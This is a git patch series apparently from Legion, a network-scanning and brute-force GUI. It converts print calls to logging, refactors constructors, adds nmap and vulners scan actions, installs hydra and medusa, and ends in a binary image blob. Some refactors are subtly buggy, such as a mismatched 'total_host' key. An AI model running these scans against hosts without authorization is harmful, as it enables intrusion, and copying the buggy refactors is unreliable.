self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) else: - print('nope! cannot let you switch tab! you fucked up!') + log.info('nope! cannot let you switch tab! you fucked up!') def switchToolTabClick(self): # TODO: check for duplicate code. if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': @@ -501,18 +501,18 @@ def validateCurrentTab(self, tab): # LEO: your validationPassed = False else: - print('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. elif tab == 'Wordlists': - print('Coming back from wordlists.') + log.info('Coming back from wordlists.') elif tab == 'Automated Attacks': - print('Coming back from automated attacks.') + log.info('Coming back from automated attacks.') else: - print('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. - print('DEBUG: current tab is valid: ' + str(validationPassed)) + log.info('DEBUG: current tab is valid: ' + str(validationPassed)) return validationPassed #def generalTabValidate(self): @@ -609,15 +609,15 @@ def validateToolName(self): # called whe tmplineEdit.setStyleSheet("border: 1px solid red;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.validationPassed = False - print('the validation is: ' + str(self.validationPassed)) + log.info('the validation is: ' + str(self.validationPassed)) return self.validationPassed else: tmplineEdit.setStyleSheet("border: 1px solid grey;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) self.validationPassed = True - print('the validation is: ' + str(self.validationPassed)) + log.info('the validation is: ' + str(self.validationPassed)) if tmpWidget.item(row,0).text() != str(actions[row][1]): - print('difference found') + log.info('difference found') actions[row][1] = tmpWidget.item(row,0).text() return self.validationPassed @@ -747,10 +747,10 @@ def updateToolForServiceInformation(self, update = True): if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): # the first time do not update anything if self.portTableRow == -1 or update == False: - print('no update') + log.info('no update') pass else: - print('update done') + log.info('update done') self.updatePortActions() # self.portLabelText.setStyleSheet("border: 1px solid grey;") # self.portCommandText.setStyleSheet("border: 1px solid grey;") diff --git a/ui/view.py b/ui/view.py index 5e9c42fa..2c749273 100644 --- a/ui/view.py +++ b/ui/view.py @@ -18,13 +18,13 @@ from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore except ImportError: - print("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") + log.info("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") #try: # from PySide import QtWebKit # usePySide = True #except ImportErro as e: -# print("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") +# log.info("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") # exit(1) from ui.gui import * @@ -269,7 +269,7 @@ def connectCreateNewProject(self): def createNewProject(self): if self.dealWithCurrentProject(): - print('[+] Creating new project..') + log.info('[+] Creating new project..') self.controller.createNewProject() ### @@ -283,7 +283,7 @@ def openExistingProject(self): if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): - print('[-] Insufficient permissions to open this file.') + log.info('[-] Insufficient permissions to open this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") return @@ -292,7 +292,7 @@ def openExistingProject(self): self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated else: - print('\t[-] No file chosen..') + log.info('\t[-] No file chosen..') ### @@ -304,12 +304,12 @@ def saveProject(self): if self.firstSave: self.saveProjectAs() else: - print('[+] Saving project..') + log.info('[+] Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) - print('\t[+] Saved!') + log.info('\t[+] Saved!') ### @@ -318,7 +318,7 @@ def connectSaveProjectAs(self): def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') - print('[+] Saving project..') + log.info('[+] Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) @@ -327,7 +327,7 @@ def saveProjectAs(self): while not filename =='': if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): - print('[-] Insufficient permissions on this folder.') + log.info('[-] Insufficient permissions on this folder.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") else: @@ -350,9 +350,9 @@ def saveProjectAs(self): self.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() - print('\t[+] Saved!') + log.info('\t[+] Saved!') else: - print('\t[-] No file chosen..') + log.info('\t[-] No file chosen..') ### @@ -411,7 +411,7 @@ def importNmap(self): if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file - print('[-] Insufficient permissions to read this file.') + log.info('[-] Insufficient permissions to read this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") return @@ -422,7 +422,7 @@ def importNmap(self): self.importProgressWidget.show() else: - print('\t[-] No file chosen..') + log.info('\t[-] No file chosen..') ### @@ -439,7 +439,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - print('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -455,7 +455,7 @@ def connectAppExit(self): def appExit(self): if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() - print('[+] Exiting application..') + log.info('[+] Exiting application..') sys.exit(0) ### TABLE ACTIONS ### @@ -1384,7 +1384,7 @@ def callHydra(self, bWidget): if reply == QtWidgets.QMessageBox.No: return else: - print('Adding host to scope here!!') + log.info('Adding host to scope here!!') self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) bWidget.validationLabel.hide() From a8bf699a287c4a87da9fd1338e2b740552731e33 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 04:53:57 -0500 Subject: [PATCH 029/450] Fixes, cleanup, etc --- app/logic.py | 11 +- app/settings.py | 5 +- controller/controller.py | 38 ++++--- db/database.py | 54 +++++----- deps/ubuntu.sh | 3 +- images/icons/legion.png | Bin 27217 -> 0 bytes legion.conf | 3 + legion.png | Bin 106778 -> 0 bytes scripts/nmap/vulners.nse | 220 +++++++++++++++++++++++++++++++++++++++ ui/view.py | 18 ++-- 10 files changed, 294 insertions(+), 58 deletions(-) delete mode 100644 images/icons/legion.png delete mode 100644 legion.png create mode 100644 scripts/nmap/vulners.nse diff --git a/app/logic.py b/app/logic.py index 90d11ec3..176d894f 100644 --- a/app/logic.py +++ b/app/logic.py @@ -291,7 +291,7 @@ def getServiceNameForHostAndPort(self, hostIP, port): def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() # TACOS - ports_for_host = session.query(nmap_port).filter_by(nmap_port.host_id == hostID).filter_by(nmap_port.protocol == str(protocol)).all() + ports_for_host = session.query(nmap_port).filter(nmap_port.host_id == hostID).filter(nmap_port.protocol == str(protocol)).all() #ports_for_host = nmap_port.query.filter(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() for p in ports_for_host: @@ -299,19 +299,15 @@ def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): #scripts_for_ports = nmap_script.query.filter(nmap_script.port_id == p.id).all() for s in scripts_for_ports: session.delete(s) - #s.delete() for p in ports_for_host: session.delete(p) - #p.delete() - #self.db.commit() session.commit() def getHostInformation(self, hostIP): session = self.db.session() return session.query(nmap_host).filter_by(ip=str(hostIP)).first() - #return nmap_host.query.filter_by(ip=str(hostIP)).first() def getPortStatesForHost(self,hostID): tmp_query = ('SELECT port.state FROM nmap_port as port WHERE port.host_id=?') @@ -646,7 +642,10 @@ def run(self): # it is nece db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if not db_port: - db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) + if db_service: + db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) + else: + db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) session.commit() diff --git a/app/settings.py b/app/settings.py index 589f5394..257a9867 100644 --- a/app/settings.py +++ b/app/settings.py @@ -75,6 +75,8 @@ def createDefaultSettings(self): self.actions.endGroup() self.actions.beginGroup('HostActions') + self.actions.setValue("nmap-discover", ["Run nmap-discover", "nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap script - Vulners", ["Run nmap script - Vulners", "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) @@ -155,8 +157,7 @@ def createDefaultSettings(self): self.actions.endGroup() self.actions.beginGroup('SchedulerSettings') - #self.actions.setValue("whatweb", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) - #self.actions.setValue("banner", ["telnet,ssh,http,https,dns","tcp"]) + self.actions.setValue("whatweb", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) self.actions.setValue("nikto", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) self.actions.setValue("sslscan", ["https,ssl","tcp"]) self.actions.setValue("screenshooter",["http,https,ssl,http-proxy,http-alt,https-alt","tcp"]) diff --git a/controller/controller.py b/controller/controller.py index 2b5208aa..f5afbdb7 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -191,7 +191,7 @@ def addHosts(self, iprange, runHostDiscovery, runStagedNmap): elif runHostDiscovery: outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' - command = "nmap -n -sn -T4 "+iprange+" -oA "+outputfile + command = "nmap -n -sV -O --version-light -T4 "+iprange+" -oA "+outputfile log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) @@ -355,7 +355,11 @@ def getContextMenuForPort(self, serviceName='*'): return menu, actions, terminalActions @timing - def handlePortAction(self, targets, actions, terminalActions, action, restoring): + def handlePortAction(self, targets, *args): + actions = args[0] + terminalActions = args[1] + action = args[2] + restoring = args[3] if action.text() == 'Send to Brute': for ip in targets: @@ -463,29 +467,25 @@ def getProcessesFromDB(self, filters, showProcesses=''): #################### PROCESSES #################### def checkProcessQueue(self): -# print '# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes) -# print '# fast processes running: ' + str(self.fastProcessesRunning) -# print '# fast processes queued: ' + str(self.fastProcessQueue.qsize()) + log.debug('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) + log.debug('# Fast processes running: ' + str(self.fastProcessesRunning)) + log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) if not self.fastProcessQueue.empty(): if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() if not self.logic.isCanceledProcess(str(next_proc.id)): - #print '[+] Running: '+ str(next_proc.command) + log.debug('[+] Running: '+ str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 - # Add Timeout # Cheetos + # Add Timeout next_proc.waitForFinished(10) next_proc.start(next_proc.command) self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) elif not self.fastProcessQueue.empty(): -# print '> next process was canceled, checking queue again..' + log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() -# else: -# print '> cannot run processes in the queue' -# else: -# print '> queue is empty' def cancelProcess(self, dbId): log.info('[+] Canceling process: ' + str(dbId)) @@ -511,8 +511,17 @@ def killRunningProcesses(self): # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID # the last 3 parameters are only used when the command is a staged nmap - def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox, discovery=True, stage=0, stop=False): - self.logic.createFolderForTool(name) # create folder for tool if necessary + def runCommand(self, *args, discovery=True, stage=0, stop=False): + name = args[0] + tabtitle = args[1] + hostip = args[2] + port = args[3] + protocol = args[4] + command = args[5] + starttime = args[6] + outputfile = args[7] + textbox = args[8] + self.logic.createFolderForTool(name) qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) @@ -538,7 +547,6 @@ def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, return qProcess.pid() # return the pid so that we can kill the process if needed def runPython(self): - #self.logic.createFolderForTool(name) # create folder for tool if necessary textbox = self.view.createNewConsole("python") name = 'python' tabtitle = name diff --git a/db/database.py b/db/database.py index 457351ea..6259ab71 100644 --- a/db/database.py +++ b/db/database.py @@ -41,20 +41,20 @@ class process(Base): status=Column(String) closed=Column(String) - def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + def __init__(self, pid, *args): self.display='True' self.pid=pid - self.name=name - self.tabtitle=tabtitle - self.hostip=hostip - self.port=port - self.protocol=protocol - self.command=command - self.starttime=starttime - self.endtime=endtime - self.outputfile=outputfile - self.output=processOutputId - self.status=status + self.name=args[0] + self.tabtitle=args[1] + self.hostip=args[2] + self.port=args[3] + self.protocol=args[4] + self.command=args[5] + self.starttime=args[6] + self.endtime=args[7] + self.outputfile=args[8] + self.output=args[10] + self.status=args[9] self.closed='False' # This class holds various info about an nmap scan @@ -69,15 +69,15 @@ class nmap_session(Base): up_hosts=Column(String) down_hosts=Column(String) - def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + def __init__(self, filename, *args, **kwargs): self.filename=filename - self.start_time=start_time - self.finish_time=finish_time - self.nmap_version=nmap_version - self.scan_args=scan_args - self.total_hosts=total_hosts - self.up_hosts=up_hosts - self.down_hosts=down_hosts + self.start_time=args[0] + self.finish_time=args[1] + self.nmap_version=kwargs.get('nmap_version') + self.scan_args=kwargs.get('scan_args') + self.total_hosts=kwargs.get('total_host') + self.up_hosts=kwargs.get('up_hosts') + self.down_hosts=kwargs.get('down_hosts') class nmap_os(Base): @@ -91,14 +91,14 @@ class nmap_os(Base): accuracy=Column(String) host_id=Column(String, ForeignKey('nmap_host.id')) - def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + def __init__(self, name, *args): self.name=name - self.family=family - self.generation=generation - self.os_type=os_type - self.vendor=vendor - self.accuracy=accuracy - self.host_id=hostId + self.family=args[0] + self.generation=args[1] + self.os_type=args[2] + self.vendor=args[3] + self.accuracy=args[4] + self.host_id=args[5] class nmap_port(Base): __tablename__ = 'nmap_port' diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index 813771e0..ecea36ad 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -2,6 +2,7 @@ echo "Updating Apt database..." apt-get -qq update echo "Installing python dependancies..." -apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y +apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* python3-pip3 -y echo "Installing external binaryies and application dependancies..." apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y +echo pip3 install aiosync aiohttp aioredis aiomonitor apscheduler-y diff --git a/images/icons/legion.png b/images/icons/legion.png deleted file mode 100644 index 4afaa67318fd19947ae5a326588d1d44b5909c8e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27217 zcmXtfc|26#|No4gMD~yO7=pwxFgwjLWr^N zjD2Rz%$?u#{`|gw%;TQ(d@bj7UgvdQXYRS@yt!p+c#=hc1qOqiyl!;G90p@Pg25Pj z;Zy)NcK<;k^}+0IWa9^e$&3E`!Gj7B0Wg>d?D`dhJ3-l7O=hnjUJsUZ%RSrODebHB z&gFaR>&fogm#5do9z{o*zM3}vtT5G~yZOQFk>Td0djV@gEdDV<7n*zpZeCYy^gsP6 z#OCz|vISNBf zgbV<;ayhmK`eefoN&BcU%BG_zXZvzyT~>#~3uZpXuU3w~VolDpJ4Erj@8jIhhR~~t z^B6wvHLSuzaD{C)A! zaA_vWq5Qz=>a_;ale70c!gU<3+DG%R?cwHqi3@xj=}ra>BwfN__{~tU9?Wv?K@V=< zx~KA-4dmcFtgz;3@NNm~L$z9@pagPAYkhTxpdB)JeCW;Z%73?@n`*NM`ItQ^ z&FN|}scD3uYboiNPs;IcLl$GuZ}tNB@`xt+rsyjK4|`x(#RIa0B}xEx;}|xe4`g8) zUc`DGhhS`8IRAqKxd+G-nISx<#JVucne$y8n>`UC*C9Rdjt(IvjQ=0Zo>~ryaXFbU zV)G>-W3l&4$>#y&!|uPyQ@8Mofk_xFzB7j%%Z{!;~ z1bS^Z@B=5n!#o*U}FUjd-Qc|bn?8{$X9<$uU8?lW66|b{*g!eMloRe zlU+?r-=0K`1Rw)DU!F$hJEcPO{9rbP1#j+aPb zlM`#rwdCEFx7#&cB0`Yb6B)_)0Mb3|>dzP5bHj5LqR`@tU7IQ940Bx%EfTp@Zr?>_ zEuB)cMQ0*);T!#LzlA@|r=Lj44d=0&KaX9;AYC5j3?_gw z$N^BU;-0H(@fDnhbIoBff!npUjeNZ`$QqQ<6`D^in5%}QzHl(Gt1(B{`#h)ONvJ`3 zz%UGgd{*9F5pxtE`S*ljj}+bqW;qs~gD1~cY!I@@_C7=TezyfU6`3Kumyf-WX67`X z(8%$9tAeJ3p=sLB=inCq7-dErj`4g6lc3~(0N2shc9`IgvFYT3os;iiz;vY-7j7%R zmeJIJMgom7YwR{{MFrskR^HHwIfg=7n!sd&7lJMOC!>ZQkdqC@uh?8uXUo1M|39Md z-`ZHZ1@sVMGz z)5STkab|&5_ip2|K9zX+SH%BUXSd3ctj09cyX4rror9jftvk(rg_>qGJP=MKJd00- z-?M|5*-p}7gN}^OXJxj=@s4ZuP{VbF$tEmsj{WK?Pm2$M_(Nuu?Fp%A`jDqTEvRQ# z-yRAsb7yB^OM{wl?N z|F3>1aIepRbl57Qq~5ZN-}pqj7gqCgCa470{yJ=Heis+5yPMuRqd^QBdbTXZ&nY2X|NXxd}x3>PW{59!~4EYW0!FGJ^BzTz8KuZ20yS6uom9{0MAIlc|U_YB9M zh%ea*#`c+A9^-s&M0#>8x9v1v_#$6G?5-clh~!@~jiyQHS5`KfS7zJVY3d7Cu4O8@*L-6cH1A{#rm)NDcbTr_*ItsisEr#V__ z#Vk5p#QHUmMU3O734rtlg3WAvp{KX#o)biU{*n%(n#ZycLdTJ_OyPGtp<@Fi`>vH! zfbZXscrwGoWiw}TybfWb=86t7Czcnf&9RO)pDMcW+$OLkjwD@%AuB@MKBs2xDT)FYwpPyIRxdf5 zYs!fT1AHu7d`DZiXZ=UrTjF>V6F^E)j5XeK`uplxwx1`}Anx1j`t?~tP0#CSLccny zK@i4dcd?dxKy$uwiZ7ARo+N$0*}x7X1Tl_ws@DnldGC(P_{*HCJe>Y8&K1dHLejNb zt9D3sRp`Bw<+ux~EYT|Ojt}6tVk8E_SHHiKZ%JkEY{ghC<-9r&|6;`Oim?A2=9}kWcV`y(aIg%o9^S6&m10}xp2P4%KH9WFB(R`waGStMrywBd4m|fOwx^O zwWS3UUB5m-4B|Q?E$Qf`dDtw#1lL2D%xq z5iM{)BHs}o_$Aws{c-$sCCz2P%opnCUJIvb*&T03Sa~_G*0wB?q}7|5;z6}#0d@t zzVe35R81nAOOpr7kdc?)3MOg@m~>-aUYM7;_491lfyZ+h(m8k87b)O|@fzdm-b$2c z-$TIgnEBHpRx(ooBxF9+x@us=Y;GoUj@tF*PZyg%g==wptEYQ7x~#siaz}-85BK!TGlOS!f-Ei@Ci^V++!c8MzV1Xr zcuHP{fb9t>$jHAyf}sdM5`Uv!bkt6NDXHMJ$UK%Z{#xlAB$LT3BXzlj=k?J!Rg!yl zIL(yTq~N{JaK?6wO4+&d)#3C9yxzA+ImJ!k2arY+{h2g!kLp0OJIG*rQlp4yHa-|( zN_^rv=#Dnn{p>@$Z3oh5ozReiRF4vL1kU}FJ;G+%MkhT283g_bV9lR>?DKoqr8VgG zPvSdpB^;FBz99K|4x2p$eXWtQymrZL69YW_4J=Mpv?M(W$RuLnC`emuJlrm{xDI|D zuWh$8fr!Z{WGHTC5+mu_eVstO%cx+BS&k4p!crhwHF8Jr@a~*s?6w6r4znC`g>-l* z?AwewNe}?b>!oq&oxX3M67T*&t>IR#MxS;a22v=%JC@#?R*=oW<5&qTNu0K zAsE+(X?x3l0+47TUsgDbSkPUoXr(UqVIpVcPtSu@18y!6j`BI2&qFEqWUD5O6;~0z zl#zjd`)U#A_i-aXE+iCw2W}T&*t9ub_aKv|?j3n)h)565On_3uUeP&BziI&C@^#TH zHdRYWr$6f;CI0?XzQ0~~p9fRO(;rKm_}a`EDWc1DCk4oXb)Qa8Gb6{!-Ao|0+8DT1 zTLL3Re7?@^_ff*s#^;|-_xR(wkQ1FX>*e0w`a`8(zXLd~S+mfxV&2Onz$W!jDD~tS zw&e!pbdiTktR68Ra(s^O?!FG9SeCJtcppXL!5xN~b9_1zcTb%;t3W3K_{+2w(~pkc#v|0y)?5ngS<=OC6UK2 zZqneC*1?-4S$z#q?JRcIT!&q#=`F`P_*P2*xuZ@z)o9qww1p9_H4pxdJnc*>V&c@X zqc;_K5PF1-vfLQ|xEvru=utiw{-;^wlojnKKgzk%Wr}9ME$HQ8V+?IC($wE}P;%5F zEuHtih_DIB{c{A!61353R-#n^xEZiF$shF&d{$p_Sx4=O{So$A#oM_beJK3HbGI7B z6O1Y3^Ba~`fB!;vc5&DEi_sftIuc}@>IR~AijnG}FM1fa>34fvOB{&j)V(d3QIXMuH~-}m37tx!9uT=eZ# z5I8g%zv=yz_;uMUy=3o9E1iRIBs4M;=D&=5DM7J0&U;XVo|^&@!-qSMP$j>2Bm>_z zfC1Sh2`y6y@^s+g;W?q{-#dZYQ@S`+oot)9v|jSc*UWOTg1$cKW-F%8K6v^$SODM_uH_O&FT1HFTih@3N>^QsHLjzQMt ziH*o4{^k1=wWH_V5{HGqj`rH=rOt`u+pxNj5xF-Id}nway2?8`0p{|OFFP(SO%LTL z-##|_z_$~LUN2+SwE!S7Y;JM31$bwt;LcvXV75ea@I8`t6qppv600`jnb{rRu(3ps zGq71u+!G$Z^ZBh+7u13AxG=gO7`}~;TnDk4FOe?;S`Okt+NHFG`gFECI3S+B2nspY zdsywfQ7Z(f^ciA$7$*CeL?e#OfQJ?*wgP0|{dLF1PR>Pk2;uV(7CNvkOrTX_i;FE3 zBdaeSKGhV0@+{Kmq??7bRq9Crt0@>HlF2L(gK^4{mnVtk_nF@_9k*BH-x0Jsd$D0ei&a_Xb;JT0rxV3Cs{8B8^1x&f z_cl8nvh%sU^(Mwp^J$Tnf4Emzc-b{rwtz)^N=*3Ib?}7W536f9uSdJC8hW*_F8uy@ zDfnohfYPie7|yIB3LwA6bj&d3+` z38Puj4;`tZXbc8D`Undf;007(3*m^ndVb= zYM{tF#)F(C+gwi|UQI_Z4#K6mWp_vww!tbf1y6oT<^e2RR8Pwvq-!T;UU z^3I@%PQO6=&}7s9sst+z6?JS;{bgfk`~s~~%RI{qHVemqVhuT-!@41R>c7Lq9Ut!K zpa6U$!$pQP?=>D%V2&7Sd$^10~Z^QXOmawi@1kSX38I$C~Ewn8J?T9`ss*hFFgxT2`?qC z1)Mqh@aP#3!;r2SdYTCs6sn{z-%U8;W7Giktb zGu+Y~&PiMT0rULftdd3|Guc*UN9x3Aau}qqG|O@vMia`)bJqa7Ey@=R`R+)`{G-fj zJJQ;333r`)J=Jo16J@J^p`bYm{`&&@U=OK!gk{E8=-y%J)C0zasK^mtM6j&Z6Q7Q z|70PO$x+b=G|Aurn*QmVGi;X!KgvEH`wL9wugI$kU!(`rePe2y^UeM-BOTRCwhp&M!;_)Wlt z26^O%T`NYG_N1-;eiNH;1pJvqN)01@#Hg^X^rx8;VFmqAm0^M?6M>1aoYA+qy4HCa5zll3$ zSAFi_;2xU#fkyEQzT!3|^4j2OGwNH>_=$!D_dkd}q;xe-_^DmdS3t#;812&^&Bj2i zjhsOIQ*;vOc`#VlItUadnC)})>Wj)&SGeIDbE4XFUPCHR;X^xo0=z=$WR>cW!5v2V zD3z`YVZo{j&ks>rhZQegfzR?_XW}XB$`LIeN@6WR@HuN~+pPoPUb5?{11+c-{xm6#K^U224P6K6YXM?8WS#kh>W;(k)H1< zNoX-5@}omUCO&*uc>zc45!{5-&P zALQpE&`u(kFn2GAGv+zTMQj7hzpwn0(?1FHA9>Arm&veZ`9zRaa1CSoj5lb0SEm|x zL;PwBFrq6{I1?98)vHxKI5X|O2F@FlQD95LE()JM++|OpE1FY~BU|Yd9b$Yu!)n!m zynia4@nSq=J{L-_WiJDye?20zuSR+)Lr8*H`>lB@3mg{_F!iH|7gAU~l#E&h(z;n_ z0YEFyzlqA6RXrX!cDZqC>X)zvb0xb)mz?(Ayg}b(&#?W0K7}m2-|ETYP>&0w zwPX&3GT=j5<C<-=;44ivo$J5wBqYgNjw;1t%{V z=Vh#|r;vU+Olo*eVZ8ZU^^cKqbT0{hNn~vbyb-4IXbQ#GEi6KpZwfORfTYPOYWtqd z;Y>0Bi0f2~5RhI&kZskzTe^(3$dRVMt!o@c{|;J|S20-n-@OEFa1WnI z`6jUe^&K+eFy^@Lc+P6}ON_0RfEt-mYPM?El|535PmPu6>PK0da(LpjFc5yG^4orT ztMt#sq63WaZug0v3*$#EPe__)7-b)vJ|3X%gQ^yO-*v@Cd02WbdLhF3;raJOvkHpumW;T_A>Uo-+h5;EEtvg}*y=A$ zw7y#>CasM1k15uKs#p3c=f6|~Uv@r|PslcgbQ1jULZ#Q zI*R_9 z_7QP_m*%!hJv9O6WNo2z@#jQH6UF+!YoAFB*He@~*xYal6)Xz-kb|(}d7TN)-~2*- zSvs^e^;?*#b`9^W+;=?@DP?2a4}BSXE<%BkCN7CQl1Wb_k4(;UEg(N3_AkH6K~&uG z^xZ{{l5zDuNtI>^Ifz?4Mtsss6!)5ePSdfo-!+~j* zYS@tB-4P9a2M*NMSDFzB(Rh{tGh8m{s@pE0CX zzk5&SKlE*7%B%ZKM+0@&^7hZ5QDq!y!|;quvPHo+djX2P(az-ve3nhI{v9^72)ULi zsDh?J3R~#&7X9M{3`o3?C|_RqiNY;xSVf{eJI^>bz)5raxXZi>xZvkvFS@fM!33mT zvo>bT(_4ubYOt<;M)Z&&mBHr~RGLdkpOnFueD7~5D69PF@P24>;uKWA(w?45dXM=T zYcIv;9tT}|Ksg1;o;y|e@e<0fgDr=w;t71H>7inRR|~VeU`GRPP+rps15(&@J&Two z1-1TcBrDJLR204{n?AoY&!nF+PSFvV{K;|U!0bkzN7icR(4Fwoi z-Geyo5*?vDm+Z`qiTNnuC zeO+wkvv)j@O-eUljNWC`K5^yRqvML`fwwaDm#Kg&Tclfx zPa$Fnw9C!huszpun%jQ?=ZVTzxC=kY+)AoHU!??*?tht}!tm6;WmJ_dLMDAU;HqB# zTdenv-6ev`D}C-GwGRw~F$+N7`vG|$!5y+|9PdGGEVEF=gnAnv(@XGT9?7OBLfc3R z_7~Ze{trOoP`4EiMbXUk5kwgR|D`#vlTyI)nT+Pa8=cT$VNn~YURE%a!hcz0-x>El zWee5!59k%1EwJY=bTGLLK5UDUz3$+$tX}ux-V<3bv;R8_&_a6O6T!F9&qW=}bUyZP zGJ7L`Nes8B`W1oY`x9p^zDyuAxgRJ2rtaE~P_L$9ll58HgK_zqbq4Cc(F5A80v%W#w5a zxdZaI@Nt+B2%ZkKxtNWpRi1sp7SS^a<~}Tr6_d4Rh~9UVrrj1m&#$WrNG-RunsN!R zq-|KqN3{~FQs9BxH7^A6zHgyMN%j6^k^AcEQ*Uji9*O;i)r66fMoBGxNES4qN{C_n z$Vt3}67Fo5K`ZKMW!D`s_10y?9X5SCU+s`lF1vgVjk4hPesokZk=(WHMcsqK9j7;n z%W3UUTlW-1|K3De#NaL+i^k7T|29yFk<{U^$M^JB)Sh(o@e#lwB`A9)$6LlDy#qjF z2%+2En-OC3-QSR-wQe{uGOLgdbQPe0@Iy?f96~fZYg=IRypp`ZSpVbZfdQDv;wY7uLy5zQ$H6#R|r zyhpEeeo}QCe2n{83I*Km zwi~W0zY#F!m1`%Dw_98J`#?#xGZ5j@C|t;(S+&r13ppk@nozeNuup2j$GsxPvGZE*?vAKaaCw%6yH?y#hU11};l%`4PAw&{yO^W>c zuy1bRPg4{;Nj7G*&{Lv?)-EQ8bK2-q#kBBd;P;ZgGlqfl1Hl574`Ipfu)3;W6{^eF z_4Yr_^ON7&-+&uxa4CNDLxH^Ql%jsp^(8sedIkDye3tWfnE-~tU}-_++Zf4>2FU-yUJq|+e}jsL zrpm9}1va)V{iCyb{hz8s!C{W&+j{4kFX)DtQ?fFktlCi|#Uo#DC1_5o;X!qi$7pv2 